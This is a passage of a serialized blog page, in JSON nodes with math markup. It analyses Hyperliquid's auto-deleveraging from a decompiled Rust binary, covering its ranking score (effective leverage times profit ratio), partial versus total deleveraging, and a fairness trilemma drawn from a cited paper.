88],[158582],{"type":23,"tag":504,"props":158583,"children":158585},{"className":158584},[2988,28],[158586],{"type":23,"tag":504,"props":158587,"children":158589},{"className":158588},[2988],[158590],{"type":28,"value":158591},"position_adl_amount",{"type":23,"tag":504,"props":158593,"children":158595},{"className":158594},[20726],[158596],{"type":28,"value":20729},{"type":23,"tag":504,"props":158598,"children":158600},{"className":158599},[3015],[158601],{"type":23,"tag":504,"props":158602,"children":158605},{"className":158603,"style":158604},[3020],"height:1.8452em;",[158606],{"type":23,"tag":504,"props":158607,"children":158608},{},[],{"type":23,"tag":504,"props":158610,"children":158613},{"className":158611},[158612],"col-align-l",[158614],{"type":23,"tag":504,"props":158615,"children":158617},{"className":158616},[3010,20623],[158618,158819],{"type":23,"tag":504,"props":158619,"children":158621},{"className":158620},[3015],[158622,158814],{"type":23,"tag":504,"props":158623,"children":158625},{"className":158624,"style":158545},[3020],[158626,158754],{"type":23,"tag":504,"props":158627,"children":158628},{"style":158549},[158629,158633],{"type":23,"tag":504,"props":158630,"children":158632},{"className":158631,"style":158554},[3029],[],{"type":23,"tag":504,"props":158634,"children":158636},{"className":158635},[2988],[158637,158641,158645,158650,158654],{"type":23,"tag":504,"props":158638,"children":158640},{"className":158639},[2988],[],{"type":23,"tag":504,"props":158642,"children":158644},{"className":158643,"style":3167},[3069],[],{"type":23,"tag":504,"props":158646,"children":158648},{"className":158647},[3172],[158649],{"type":28,"value":601},{"type":23,"tag":504,"props":158651,"children":158653},{"className":158652,"style":3167},[3069],[],{"type":23,"tag":504,"props":158655,"children":158657},{"className":158656},[2988],[158658,158662,158750],{"type":23,"tag":504,"props":158659,"children":158661},{"className":158660},[20698,112316],[],{"type":23,"tag":504,"props":158663,"children":158665},{"className":158664},[112321],[158666],{"type":23,"tag":504,"props":158667,"children":158669},{"className":158668},[3010,20623],[158670,158738],{"type":23,"tag":504,"props":158671,"children":158673},{"className":158672},[3015],[158674,158733],{"type":23,"tag":504,"props":158675,"children":158678},{"className":158676,"style":158677},[3020],"height:1.3944em;",[158679,158700,158711],{"type":23,"tag":504,"props":158680,"children":158681},{"style":157907},[158682,158686],{"type":23,"tag":504,"props":158683,"children":158685},{"className":158684,"style":110969},[3029],[],{"type":23,"tag":504,"props":158687,"children":158689},{"className":158688},[2988],[158690],{"type":23,"tag":504,"props":158691,"children":158693},{"className":158692},[2988,28],[158694],{"type":23,"tag":504,"props":158695,"children":158697},{"className":158696},[2988],[158698],{"type":28,"value":158699},"total_cross_notional",{"type":23,"tag":504,"props":158701,"children":158702},{"style":112371},[158703,158707],{"type":23,"tag":504,"props":158704,"children":158706},{"className":158705,"style":110969},[3029],[],{"type":23,"tag":504,"props":158708,"children":158710},{"className":158709,"style":112381},[112380],[],{"type":23,"tag":504,"props":158712,"children":158714},{"style":158713},"top:-3.7em;",[158715,158719],{"type":23,"tag":504,"props":158716,"children":158718},{"className":158717,"style":110969},[3029],[],{"type":23,"tag":504,"props":158720,"children":158722},{"className":158721},[2988],[158723],{"type":23,"tag":504,"props":158724,"children":158726},{"className":158725},[2988,28],[158727],{"type":23,"tag":504,"props":158728,"children":158730},{"className":158729},[2988],[158731],{"type":28,"value":158732},"position_notional",{"type":23,"tag":504,"props":158734,"children":158736},{"className":158735},[20726],[158737],{"type":28,"value":20729},{"type":23,"tag":504,"props":158739,"children":158741},{"className":158740},[3015],[158742],{"type":23,"tag":504,"props":158743,"children":158746},{"className":158744,"style":158745},[3020],"height:0.996em;",[158747],{"type":23,"tag":504,"props":158748,"children":158749},{},[],{"type":23,"tag":504,"props":158751,"children":158753},{"className":158752},[20720,112316],[],{"type":23,"tag":504,"props":158755,"children":158756},{"style":158572},[158757,158761],{"type":23,"tag":504,"props":158758,"children":158760},{"className":158759,"style":158554},[3029],[],{"type":23,"tag":504,"props":158762,"children":158764},{"className":158763},[2988],[158765,158769,158773,158778,158782,158792,158796,158801,158805],{"type":23,"tag":504,"props":158766,"children":158768},{"className":158767},[2988],[],{"type":23,"tag":504,"props":158770,"children":158772},{"className":158771,"style":3167},[3069],[],{"type":23,"tag":504,"props":158774,"children":158776},{"className":158775},[3172],[158777],{"type":28,"value":601},{"type":23,"tag":504,"props":158779,"children":158781},{"className":158780,"style":3167},[3069],[],{"type":23,"tag":504,"props":158783,"children":158785},{"className":158784},[2988,28],[158786],{"type":23,"tag":504,"props":158787,"children":158789},{"className":158788},[2988],[158790],{"type":28,"value":158791},"user_shortfall",{"type":23,"tag":504,"props":158793,"children":158795},{"className":158794,"style":3070},[3069],[],{"type":23,"tag":504,"props":158797,"children":158799},{"className":158798},[3075],[158800],{"type":28,"value":110060},{"type":23,"tag":504,"props":158802,"children":158804},{"className":158803,"style":3070},[3069],[],{"type":23,"tag":504,"props":158806,"children":158808},{"className":158807},[2988,28],[158809],{"type":23,"tag":504,"props":158810,"children":158812},{"className":158811},[2988],[158813],{"type":28,"value":158569},{"type":23,"tag":504,"props":158815,"children":158817},{"className":158816},[20726],[158818],{"type":28,"value":20729},{"type":23,"tag":504,"props":158820,"children":158822},{"className":158821},[3015],[158823],{"type":23,"tag":504,"props":158824,"children":158826},{"className":158825,"style":158604},[3020],[158827],{"type":23,"tag":504,"props":158828,"children":158829},{},[],{"type":23,"tag":24,"props":158831,"children":158832},{},[158833],{"type":28,"value":158834},"We do that here:",{"type":23,"tag":157797,"props":158836,"children":158839},{"addr":158168,"line-start":158837,"line-end":158838},"828","981",[],{"type":23,"tag":24,"props":158841,"children":158842},{},[158843,158844,158850,158852,158858],{"type":28,"value":15592},{"type":23,"tag":158341,"props":158845,"children":158847},{"lines":158846},"77-79",[158848],{"type":28,"value":158849},"inner loop",{"type":28,"value":158851}," above spans all ",{"type":23,"tag":56,"props":158853,"children":158855},{"className":158854},[],[158856],{"type":28,"value":158857},"(asset_idx, direction)",{"type":28,"value":158859}," held in the cross margin position.",{"type":23,"tag":24,"props":158861,"children":158862},{},[158863,158865,158871,158873,158879,158880,158886],{"type":28,"value":158864},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":23,"tag":56,"props":158866,"children":158868},{"className":158867},[],[158869],{"type":28,"value":158870},"adl_output",{"type":28,"value":158872}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":23,"tag":56,"props":158874,"children":158876},{"className":158875},[],[158877],{"type":28,"value":158878},"position_id",{"type":28,"value":430},{"type":23,"tag":56,"props":158881,"children":158883},{"className":158882},[],[158884],{"type":28,"value":158885},"position_shortfall",{"type":28,"value":320},{"type":23,"tag":157797,"props":158888,"children":158891},{"addr":158168,"line-start":158889,"line-end":158890},"2377","2469",[],{"type":23,"tag":24,"props":158893,"children":158894},{},[158895,158897,158903],{"type":28,"value":158896},"Afterwards we can finally loop over the B-tree containing ",{"type":23,"tag":56,"props":158898,"children":158900},{"className":158899},[],[158901],{"type":28,"value":158902},"(position_id, cut)",{"type":28,"value":158904},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":23,"tag":24,"props":158906,"children":158907},{},[158908,158910,158915],{"type":28,"value":158909},"The final phase of ",{"type":23,"tag":56,"props":158911,"children":158913},{"className":158912},[],[158914],{"type":28,"value":158122},{"type":28,"value":158916}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":23,"tag":157797,"props":158918,"children":158921},{"addr":158168,"addr-start":158919,"addr-end":158920},"0x555556ac6d52","0x555556ac6de8",[],{"type":23,"tag":24,"props":158923,"children":158924},{},[158925],{"type":28,"value":158926},"How are positions chosen (sorted) to be deleveraged?",{"type":23,"tag":34349,"props":158928,"children":158930},{"id":158929},"who-do-we-deleverage",[158931],{"type":28,"value":158932},"Who Do We Deleverage?",{"type":23,"tag":24,"props":158934,"children":158935},{},[158936],{"type":28,"value":158937},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":23,"tag":24,"props":158939,"children":158940},{},[158941],{"type":28,"value":158942},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":23,"tag":24,"props":158944,"children":158945},{},[158946,158948,158955],{"type":28,"value":158947},"More formally, fairness can be given multiple related definitions; see ",{"type":23,"tag":92,"props":158949,"children":158952},{"href":158950,"rel":158951},"https://arxiv.org/abs/2512.01112",[96],[158953],{"type":28,"value":158954},"this paper",{"type":28,"value":158956},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":23,"tag":24,"props":158958,"children":158959},{},[158960],{"type":28,"value":158961},"So, is Hyperliquid fair? Is it always solvent?",{"type":23,"tag":70,"props":158963,"children":158965},{"id":158964},"adl-score-computation",[158966],{"type":28,"value":158967},"ADL Score Computation",{"type":23,"tag":24,"props":158969,"children":158970},{},[158971,158973,158979,158981,158987,158989,158994],{"type":28,"value":158972},"The score function at ",{"type":23,"tag":56,"props":158974,"children":158976},{"className":158975},[],[158977],{"type":28,"value":158978},"compute_adl_ranking_score",{"type":28,"value":158980}," is core to answering this question. It's defined, most likely as an ",{"type":23,"tag":56,"props":158982,"children":158984},{"className":158983},[],[158985],{"type":28,"value":158986},"Ord",{"type":28,"value":158988}," implementation on some 20-byte address representation. A ",{"type":23,"tag":56,"props":158990,"children":158992},{"className":158991},[],[158993],{"type":28,"value":16190},{"type":28,"value":158995}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":23,"tag":24,"props":158997,"children":158998},{},[158999,159001,159006,159008,159014,159016,159023,159025,159032],{"type":28,"value":159000},"Those sort routines are ",{"type":23,"tag":1887,"props":159002,"children":159003},{},[159004],{"type":28,"value":159005},"generated by the compiler",{"type":28,"value":159007},": since Rust binaries include a lot of metadata by default in ",{"type":23,"tag":56,"props":159009,"children":159011},{"className":159010},[],[159012],{"type":28,"value":159013},".comment",{"type":28,"value":159015},", we may even manually ",{"type":23,"tag":92,"props":159017,"children":159020},{"href":159018,"rel":159019},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[96],[159021],{"type":28,"value":159022},"take advantage",{"type":28,"value":159024}," of this to recover the ",{"type":23,"tag":92,"props":159026,"children":159029},{"href":159027,"rel":159028},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[96],[159030],{"type":28,"value":159031},"exact source of library functions",{"type":28,"value":320},{"type":23,"tag":24,"props":159034,"children":159035},{},[159036,159038,159043],{"type":28,"value":159037},"Let's see how this ties back into the ",{"type":23,"tag":56,"props":159039,"children":159041},{"className":159040},[],[159042],{"type":28,"value":158122},{"type":28,"value":3472},{"type":23,"tag":157797,"props":159045,"children":159047},{"source":158122,"target":158978,"direction":158123,"path":159046},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":23,"tag":24,"props":159049,"children":159050},{},[159051],{"type":28,"value":159052},"And here's the main call site used for sorting:",{"type":23,"tag":157797,"props":159054,"children":159057},{"addr":158168,"line-start":159055,"line-end":159056},"2806","2814",[],{"type":23,"tag":70,"props":159059,"children":159061},{"id":159060},"ratio-1-effective-leverage",[159062],{"type":28,"value":159063},"Ratio 1: Effective Leverage",{"type":23,"tag":494,"props":159065,"children":159066},{},[159067],{"type":23,"tag":56,"props":159068,"children":159070},{"className":159069},[2960,157825],[159071],{"type":23,"tag":504,"props":159072,"children":159074},{"className":159073},[157830],[159075],{"type":23,"tag":504,"props":159076,"children":159078},{"className":159077},[2966],[159079],{"type":23,"tag":504,"props":159080,"children":159082},{"className":159081,"ariaHidden":2972},[2971],[159083,159114],{"type":23,"tag":504,"props":159084,"children":159086},{"className":159085},[2977],[159087,159091,159101,159105,159110],{"type":23,"tag":504,"props":159088,"children":159090},{"className":159089,"style":113853},[2982],[],{"type":23,"tag":504,"props":159092,"children":159094},{"className":159093},[2988,28],[159095],{"type":23,"tag":504,"props":159096,"children":159098},{"className":159097},[2988],[159099],{"type":28,"value":159100},"effective leverage",{"type":23,"tag":504,"props":159102,"children":159104},{"className":159103,"style":3167},[3069],[],{"type":23,"tag":504,"props":159106,"children":159108},{"className":159107},[3172],[159109],{"type":28,"value":601},{"type":23,"tag":504,"props":159111,"children":159113},{"className":159112,"style":3167},[3069],[],{"type":23,"tag":504,"props":159115,"children":159117},{"className":159116},[2977],[159118,159123],{"type":23,"tag":504,"props":159119,"children":159122},{"className":159120,"style":159121},[2982],"height:2.113em;vertical-align:-0.686em;",[],{"type":23,"tag":504,"props":159124,"children":159126},{"className":159125},[2988],[159127,159131,159226],{"type":23,"tag":504,"props":159128,"children":159130},{"className":159129},[20698,112316],[],{"type":23,"tag":504,"props":159132,"children":159134},{"className":159133},[112321],[159135],{"type":23,"tag":504,"props":159136,"children":159138},{"className":159137},[3010,20623],[159139,159214],{"type":23,"tag":504,"props":159140,"children":159142},{"className":159141},[3015],[159143,159209],{"type":23,"tag":504,"props":159144,"children":159146},{"className":159145,"style":157903},[3020],[159147,159168,159179],{"type":23,"tag":504,"props":159148,"children":159149},{"style":157907},[159150,159154],{"type":23,"tag":504,"props":159151,"children":159153},{"className":159152,"style":110969},[3029],[],{"type":23,"tag":504,"props":159155,"children":159157},{"className":159156},[2988],[159158],{"type":23,"tag":504,"props":159159,"children":159161},{"className":159160},[2988,28],[159162],{"type":23,"tag":504,"props":159163,"children":159165},{"className":159164},[2988],[159166],{"type":28,"value":159167},"account value",{"type":23,"tag":504,"props":159169,"children":159170},{"style":112371},[159171,159175],{"type":23,"tag":504,"props":159172,"children":159174},{"className":159173,"style":110969},[3029],[],{"type":23,"tag":504,"props":159176,"children":159178},{"className":159177,"style":112381},[112380],[],{"type":23,"tag":504,"props":159180,"children":159181},{"style":157958},[159182,159186],{"type":23,"tag":504,"props":159183,"children":159185},{"className":159184,"style":110969},[3029],[],{"type":23,"tag":504,"props":159187,"children":159189},{"className":159188},[2988],[159190,159195,159204],{"type":23,"tag":504,"props":159191,"children":159193},{"className":159192},[2988],[159194],{"type":28,"value":157973},{"type":23,"tag":504,"props":159196,"children":159198},{"className":159197},[2988,28],[159199],{"type":23,"tag":504,"props":159200,"children":159202},{"className":159201},[2988],[159203],{"type":28,"value":157983},{"type":23,"tag":504,"props":159205,"children":159207},{"className":159206},[2988],[159208],{"type":28,"value":157973},{"type":23,"tag":504,"props":159210,"children":159212},{"className":159211},[20726],[159213],{"type":28,"value":20729},{"type":23,"tag":504,"props":159215,"children":159217},{"className":159216},[3015],[159218],{"type":23,"tag":504,"props":159219,"children":159222},{"className":159220,"style":159221},[3020],"height:0.686em;",[159223],{"type":23,"tag":504,"props":159224,"children":159225},{},[],{"type":23,"tag":504,"props":159227,"children":159229},{"className":159228},[20720,112316],[],{"type":23,"tag":24,"props":159231,"children":159232},{},[159233,159235,159241,159243,159249,159250,159256,159258,159264],{"type":28,"value":159234},"We can see in the decompilation below, through the SIMD noise, that ",{"type":23,"tag":56,"props":159236,"children":159238},{"className":159237},[],[159239],{"type":28,"value":159240},"abs_notional",{"type":28,"value":159242}," (unsigned), and ",{"type":23,"tag":56,"props":159244,"children":159246},{"className":159245},[],[159247],{"type":28,"value":159248},"float.d(rbx)",{"type":28,"value":4483},{"type":23,"tag":56,"props":159251,"children":159253},{"className":159252},[],[159254],{"type":28,"value":159255},"account_value",{"type":28,"value":159257}," (signed); the division is ",{"type":23,"tag":56,"props":159259,"children":159261},{"className":159260},[],[159262],{"type":28,"value":159263},"abs_notional / account_value",{"type":28,"value":320},{"type":23,"tag":24,"props":159266,"children":159267},{},[159268],{"type":28,"value":159269},"This tells us the risk multiplier that the user took on for this position.",{"type":23,"tag":157797,"props":159271,"children":159275},{"addr":159272,"line-start":159273,"line-end":159274},"0x555556abb140","278","296",[],{"type":23,"tag":70,"props":159277,"children":159279},{"id":159278},"ratio-2-profit-ratio",[159280],{"type":28,"value":159281},"Ratio 2: Profit Ratio",{"type":23,"tag":494,"props":159283,"children":159284},{},[159285],{"type":23,"tag":56,"props":159286,"children":159288},{"className":159287},[2960,157825],[159289],{"type":23,"tag":504,"props":159290,"children":159292},{"className":159291},[157830],[159293],{"type":23,"tag":504,"props":159294,"children":159296},{"className":159295},[2966],[159297],{"type":23,"tag":504,"props":159298,"children":159300},{"className":159299,"ariaHidden":2972},[2971],[159301,159332],{"type":23,"tag":504,"props":159302,"children":159304},{"className":159303},[2977],[159305,159309,159319,159323,159328],{"type":23,"tag":504,"props":159306,"children":159308},{"className":159307,"style":113853},[2982],[],{"type":23,"tag":504,"props":159310,"children":159312},{"className":159311},[2988,28],[159313],{"type":23,"tag":504,"props":159314,"children":159316},{"className":159315},[2988],[159317],{"type":28,"value":159318},"profit ratio",{"type":23,"tag":504,"props":159320,"children":159322},{"className":159321,"style":3167},[3069],[],{"type":23,"tag":504,"props":159324,"children":159326},{"className":159325},[3172],[159327],{"type":28,"value":601},{"type":23,"tag":504,"props":159329,"children":159331},{"className":159330,"style":3167},[3069],[],{"type":23,"tag":504,"props":159333,"children":159335},{"className":159334},[2977],[159336,159340],{"type":23,"tag":504,"props":159337,"children":159339},{"className":159338,"style":157878},[2982],[],{"type":23,"tag":504,"props":159341,"children":159343},{"className":159342},[2988],[159344,159348,159467],{"type":23,"tag":504,"props":159345,"children":159347},{"className":159346},[20698,112316],[],{"type":23,"tag":504,"props":159349,"children":159351},{"className":159350},[112321],[159352],{"type":23,"tag":504,"props":159353,"children":159355},{"className":159354},[3010,20623],[159356,159456],{"type":23,"tag":504,"props":159357,"children":159359},{"className":159358},[3015],[159360,159451],{"type":23,"tag":504,"props":159361,"children":159363},{"className":159362,"style":157903},[3020],[159364,159385,159396],{"type":23,"tag":504,"props":159365,"children":159366},{"style":157907},[159367,159371],{"type":23,"tag":504,"props":159368,"children":159370},{"className":159369,"style":110969},[3029],[],{"type":23,"tag":504,"props":159372,"children":159374},{"className":159373},[2988],[159375],{"type":23,"tag":504,"props":159376,"children":159378},{"className":159377},[2988,28],[159379],{"type":23,"tag":504,"props":159380,"children":159382},{"className":159381},[2988],[159383],{"type":28,"value":159384},"entry notional",{"type":23,"tag":504,"props":159386,"children":159387},{"style":112371},[159388,159392],{"type":23,"tag":504,"props":159389,"children":159391},{"className":159390,"style":110969},[3029],[],{"type":23,"tag":504,"props":159393,"children":159395},{"className":159394,"style":112381},[112380],[],{"type":23,"tag":504,"props":159397,"children":159398},{"style":157958},[159399,159403],{"type":23,"tag":504,"props":159400,"children":159402},{"className":159401,"style":110969},[3029],[],{"type":23,"tag":504,"props":159404,"children":159406},{"className":159405},[2988],[159407,159413,159418,159428,159433,159437,159441,159446],{"type":23,"tag":504,"props":159408,"children":159410},{"className":159409},[20605],[159411],{"type":28,"value":159412},"max",{"type":23,"tag":504,"props":159414,"children":159416},{"className":159415},[20698],[159417],{"type":28,"value":526},{"type":23,"tag":504,"props":159419,"children":159421},{"className":159420},[2988,28],[159422],{"type":23,"tag":504,"props":159423,"children":159425},{"className":159424},[2988],[159426],{"type":28,"value":159427},"pnl",{"type":23,"tag":504,"props":159429,"children":159431},{"className":159430},[3101],[159432],{"type":28,"value":3104},{"type":23,"tag":504,"props":159434,"children":159436},{"className":159435,"style":3108},[3069],[],{"type":23,"tag":504,"props":159438,"children":159440},{"className":159439,"style":3108},[3069],[],{"type":23,"tag":504,"props":159442,"children":159444},{"className":159443},[2988],[159445],{"type":28,"value":3001},{"type":23,"tag":504,"props":159447,"children":159449},{"className":159448},[20720],[159450],{"type":28,"value":2105},{"type":23,"tag":504,"props":159452,"children":159454},{"className":159453},[20726],[159455],{"type":28,"value":20729},{"type":23,"tag":504,"props":159457,"children":159459},{"className":159458},[3015],[159460],{"type":23,"tag":504,"props":159461,"children":159463},{"className":159462,"style":158001},[3020],[159464],{"type":23,"tag":504,"props":159465,"children":159466},{},[],{"type":23,"tag":504,"props":159468,"children":159470},{"className":159469},[20720,112316],[],{"type":23,"tag":24,"props":159472,"children":159473},{},[159474,159476,159482],{"type":28,"value":159475},"It uses entry notional (",{"type":23,"tag":56,"props":159477,"children":159479},{"className":159478},[],[159480],{"type":28,"value":159481},"r14_2",{"type":28,"value":159483},") as the divisor. PNL is clamped to non-negative before division.",{"type":23,"tag":24,"props":159485,"children":159486},{},[159487],{"type":28,"value":159488},"This basically tells us how well the user's bet went.",{"type":23,"tag":157797,"props":159490,"children":159494},{"addr":159491,"addr-start":159492,"addr-end":159493},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":23,"tag":24,"props":159496,"children":159497},{},[159498,159500,159506,159508,159514],{"type":28,"value":159499},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":23,"tag":56,"props":159501,"children":159503},{"className":159502},[],[159504],{"type":28,"value":159505},"1e-8",{"type":28,"value":159507},", in order not to cancel each other out. The final ADL ranking score is ",{"type":23,"tag":56,"props":159509,"children":159511},{"className":159510},[],[159512],{"type":28,"value":159513},"effective_leverage * profit_ratio",{"type":28,"value":159515},", consistent with both ratio directions and the max clamp on PNL.",{"type":23,"tag":24,"props":159517,"children":159518},{},[159519],{"type":28,"value":159520},"So, in essence, we look for risky and profitable positions!",{"type":23,"tag":82,"props":159522,"children":159524},{"id":159523},"partial-and-total-adl",[159525],{"type":28,"value":159526},"Partial and Total ADL",{"type":23,"tag":24,"props":159528,"children":159529},{},[159530],{"type":28,"value":159531},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":23,"tag":24,"props":159533,"children":159534},{},[159535],{"type":28,"value":159536},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":23,"tag":24,"props":159538,"children":159539},{},[159540,159542,159547],{"type":28,"value":159541},"So essentially, in pseudocode, the whole latter part of ",{"type":23,"tag":56,"props":159543,"children":159545},{"className":159544},[],[159546],{"type":28,"value":158122},{"type":28,"value":159548}," boils down to:",{"type":23,"tag":157797,"props":159550,"children":159553},{"addr":158168,"line-start":159551,"line-end":159552},"3252","3632",[],{"type":23,"tag":24,"props":159555,"children":159556},{},[159557],{"type":28,"value":159558},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":23,"tag":34349,"props":159560,"children":159562},{"id":159561},"branches",[159563],{"type":28,"value":159564},"Branches",{"type":23,"tag":24,"props":159566,"children":159567},{},[159568],{"type":28,"value":159569},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":23,"tag":24,"props":159571,"children":159572},{},[159573],{"type":28,"value":159574},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":23,"tag":34349,"props":159576,"children":159578},{"id":159577},"financial-conclusions",[159579],{"type":28,"value":159580},"Financial Conclusions",{"type":23,"tag":70,"props":159582,"children":159584},{"id":159583},"fairness-revenue-solvency-trilemma",[159585],{"type":28,"value":159586},"Fairness, Revenue, Solvency Trilemma",{"type":23,"tag":24,"props":159588,"children":159589},{},[159590,159592,159598],{"type":28,"value":159591},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":23,"tag":92,"props":159593,"children":159595},{"href":158950,"rel":159594},[96],[159596],{"type":28,"value":159597},"the paper mentioned before",{"type":28,"value":159599},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":23,"tag":350,"props":159601,"children":159602},{},[159603,159613,159623],{"type":23,"tag":45,"props":159604,"children":159605},{},[159606,159611],{"type":23,"tag":1887,"props":159607,"children":159608},{},[159609],{"type":28,"value":159610},"Solvency",{"type":28,"value":159612},": can the platform pay every trader out?",{"type":23,"tag":45,"props":159614,"children":159615},{},[159616,159621],{"type":23,"tag":1887,"props":159617,"children":159618},{},[159619],{"type":28,"value":159620},"Fairness",{"type":28,"value":159622},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":23,"tag":45,"props":159624,"children":159625},{},[159626,159631],{"type":23,"tag":1887,"props":159627,"children":159628},{},[159629],{"type":28,"value":159630},"Revenue",{"type":28,"value":159632},": the fraction of total winner PNL that survives after deleveraging.",{"type":23,"tag":24,"props":159634,"children":159635},{},[159636],{"type":28,"value":159637},"Let's borrow these definitions from the paper:",{"type":23,"tag":494,"props":159639,"children":159640},{},[159641],{"type":23,"tag":56,"props":159642,"children":159644},{"className":159643},[2960,157825],[159645],{"type":23,"tag":504,"props":159646,"children":159648},{"className":159647},[157830],[159649],{"type":23,"tag":504,"props":159650,"children":159652},{"className":159651},[2966],[159653],{"type":23,"tag":504,"props":159654,"children":159656},{"className":159655,"ariaHidden":2972},[2971],[159657],{"type":23,"tag":504,"props":159658,"children":159660},{"className":159659},[2977],[159661,159666],{"type":23,"tag":504,"props":159662,"children":159665},{"className":159663,"style":159664},[2982],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":23,"tag":504,"props":159667,"children":159669},{"className":159668},[2988],[159670],{"type":23,"tag":504,"props":159671,"children":159673},{"className":159672},[158527],[159674,160493],{"type":23,"tag":504,"props":159675,"children":159677},{"className":159676},[158532],[159678],{"type":23,"tag":504,"props":159679,"children":159681},{"className":159680},[3010,20623],[159682,160481],{"type":23,"tag":504,"props":159683,"children":159685},{"className":159684},[3015],[159686,160476],{"type":23,"tag":504,"props":159687,"children":159690},{"className":159688,"style":159689},[3020],"height:11.8392em;",[159691,159762,159779,159848,159918,159987,160057,160126,160195,160264,160334,160405],{"type":23,"tag":504,"props":159692,"children":159694},{"style":159693},"top:-14.3707em;",[159695,159700],{"type":23,"tag":504,"props":159696,"children":159699},{"className":159697,"style":159698},[3029],"height:3.3714em;",[],{"type":23,"tag":504,"props":159701,"children":159703},{"className":159702},[2988],[159704],{"type":23,"tag":504,"props":159705,"children":159707},{"className":159706},[2988],[159708,159713],{"type":23,"tag":504,"props":159709,"children":159711},{"className":159710,"style":20570},[2988,20569],[159712],{"type":28,"value":20573},{"type":23,"tag":504,"props":159714,"children":159716},{"className":159715},[3005],[159717],{"type":23,"tag":504,"props":159718,"children":159720},{"className":159719},[3010,20623],[159721,159751],{"type":23,"tag":504,"props":159722,"children":159724},{"className":159723},[3015],[159725,159746],{"type":23,"tag":504,"props":159726,"children":159728},{"className":159727,"style":108230},[3020],[159729],{"type":23,"tag":504,"props":159730,"children":159732},{"style":159731},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[159733,159737],{"type":23,"tag":504,"props":159734,"children":159736},{"className":159735,"style":3030},[3029],[],{"type":23,"tag":504,"props":159738,"children":159740},{"className":159739},[3035,3036,3037,3038],[159741],{"type":23,"tag":504,"props":159742,"children":159744},{"className":159743},[2988,20569,3038],[159745],{"type":28,"value":55382},{"type":23,"tag":504,"props":159747,"children":159749},{"className":159748},[20726],[159750],{"type":28,"value":20729},{"type":23,"tag":504,"props":159752,"children":159754},{"className":159753},[3015],[159755],{"type":23,"tag":504,"props":159756,"children":159758},{"className":159757,"style":91881},[3020],[159759],{"type":23,"tag":504,"props":159760,"children":159761},{},[],{"type":23,"tag":504,"props":159763,"children":159765},{"style":159764},"top:-12.8707em;",[159766,159770],{"type":23,"tag":504,"props":159767,"children":159769},{"className":159768,"style":159698},[3029],[],{"type":23,"tag":504,"props":159771,"children":159773},{"className":159772},[2988],[159774],{"type":23,"tag":504,"props":159775,"children":159777},{"className":159776,"style":93818},[2988,20569],[159778],{"type":28,"value":93852},{"type":23,"tag":504,"props":159780,"children":159782},{"style":159781},"top:-10.8392em;",[159783,159787],{"type":23,"tag":504,"props":159784,"children":159786},{"className":159785,"style":159698},[3029],[],{"type":23,"tag":504,"props":159788,"children":159790},{"className":159789},[2988],[159791],{"type":23,"tag":504,"props":159792,"children":159794},{"className":159793},[2988],[159795,159800],{"type":23,"tag":504,"props":159796,"children":159798},{"className":159797},[2988,20569],[159799],{"type":28,"value":2124},{"type":23,"tag":504,"props":159801,"children":159803},{"className":159802},[3005],[159804],{"type":23,"tag":504,"props":159805,"children":159807},{"className":159806},[3010,20623],[159808,159837],{"type":23,"tag":504,"props":159809,"children":159811},{"className":159810},[3015],[159812,159832],{"type":23,"tag":504,"props":159813,"children":159815},{"className":159814,"style":92327},[3020],[159816],{"type":23,"tag":504,"props":159817,"children":159818},{"style":91854},[159819,159823],{"type":23,"tag":504,"props":159820,"children":159822},{"className":159821,"style":3030},[3029],[],{"type":23,"tag":504,"props":159824,"children":159826},{"className":159825},[3035,3036,3037,3038],[159827],{"type":23,"tag":504,"props":159828,"children":159830},{"className":159829},[2988,20569,3038],[159831],{"type":28,"value":2716},{"type":23,"tag":504,"props":159833,"children":159835},{"className":159834},[20726],[159836],{"type":28,"value":20729},{"type":23,"tag":504,"props":159838,"children":159840},{"className":159839},[3015],[159841],{"type":23,"tag":504,"props":159842,"children":159844},{"className":159843,"style":91881},[3020],[159845],{"type":23,"tag":504,"props":159846,"children":159847},{},[],{"type":23,"tag":504,"props":159849,"children":159851},{"style":159850},"top:-8.8188em;",[159852,159856],{"type":23,"tag":504,"props":159853,"children":159855},{"className":159854,"style":159698},[3029],[],{"type":23,"tag":504,"props":159857,"children":159859},{"className":159858},[2988],[159860],{"type":23,"tag":504,"props":159861,"children":159863},{"className":159862},[2988],[159864,159870],{"type":23,"tag":504,"props":159865,"children":159867},{"className":159866,"style":92284},[2988,20569],[159868],{"type":28,"value":159869},"π",{"type":23,"tag":504,"props":159871,"children":159873},{"className":159872},[3005],[159874],{"type":23,"tag":504,"props":159875,"children":159877},{"className":159876},[3010,20623],[159878,159907],{"type":23,"tag":504,"props":159879,"children":159881},{"className":159880},[3015],[159882,159902],{"type":23,"tag":504,"props":159883,"children":159885},{"className":159884,"style":92327},[3020],[159886],{"type":23,"tag":504,"props":159887,"children":159888},{"style":92331},[159889,159893],{"type":23,"tag":504,"props":159890,"